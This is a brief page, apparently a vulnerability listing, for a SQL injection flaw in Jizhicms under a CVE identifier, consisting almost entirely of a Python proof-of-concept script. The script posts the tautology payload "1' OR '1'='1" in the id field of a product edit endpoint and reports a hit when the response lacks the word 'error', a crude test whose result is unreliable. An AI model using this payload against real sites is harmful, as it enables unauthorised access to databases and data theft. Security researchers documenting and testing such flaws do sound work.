CVE-2025-50229 Jizhicms SQL注入漏洞

import requests # PoC for CVE-2025-50229 # Target the product editing module url = "http://example.com/index.php/product/edit" # Malicious payload to test SQL Injection # Attempting to bypass logic or extract data payload = { "id": "1' OR '1'='1", # Basic logic test "name": "test" } try: response = requests.post(url, data=payload) if "error" not in response.text.lower() and response.status_code == 200: print("[!] Potential Vulnerability Detected") print("Response:", response.text[:100]) except Exception as e: print("Connection Error:", e)